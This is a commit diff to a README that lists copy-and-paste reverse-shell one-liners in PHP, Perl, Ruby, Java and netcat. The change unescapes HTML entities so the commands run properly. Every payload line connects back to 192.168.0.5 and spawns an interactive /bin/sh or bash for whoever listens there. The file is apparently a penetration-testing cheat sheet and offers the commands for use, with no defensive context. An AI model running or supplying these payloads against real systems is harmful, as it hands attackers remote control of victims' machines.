Update README.md

hope this works 🤞

Author: ahhh

README.md

@@ -13,7 +13,7 @@ Each of the methods below is aimed to be a one-liner that you can copy/paste. A
 #### Php :
 
 ```
-php -r '$sock=fsockopen("192.168.0.5",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
+php -r '$sock=fsockopen("192.168.0.5",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
 ```
 
 #### Python :
@@ -37,20 +37,20 @@ nc -e /bin/sh 192.168.0.5 4444
 #### Perl :
 
 ```
-perl -e 'use Socket;$i="192.168.0.5";$p=4545;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,"&gt;&amp;S");open(STDOUT,"&gt;&amp;S");open(STDERR,"&gt;&amp;S");exec("/bin/sh -i");};'
+perl -e 'use Socket;$i="192.168.0.5";$p=4545;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
 ```
 
 #### Ruby :
 
 ```
-ruby -rsocket -e'f=TCPSocket.open("192.168.0.5",4444).to_i;exec sprintf("/bin/sh -i &lt;&amp;%d &gt;&amp;%d 2&gt;&amp;%d",f,f,f)'
+ruby -rsocket -e'f=TCPSocket.open("192.168.0.5",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
 ```
 
 #### Java :
 
 ```
 r = Runtime.getRuntime()
-p = r.exec(["/bin/bash","-c","exec 5&lt;&gt;/dev/tcp/192.168.0.5/4444;cat &lt;&amp;5 | while read line; do \$line 2&gt;&amp;5 &gt;&amp;5; done"] as String[])
+p = r.exec(["/bin/bash","-c","exec 5< >/dev/tcp/192.168.0.5/4444;cat <& 5 | while read line; do \$line 2>&5 >&5; done"] as String[])
 p.waitFor()
 ```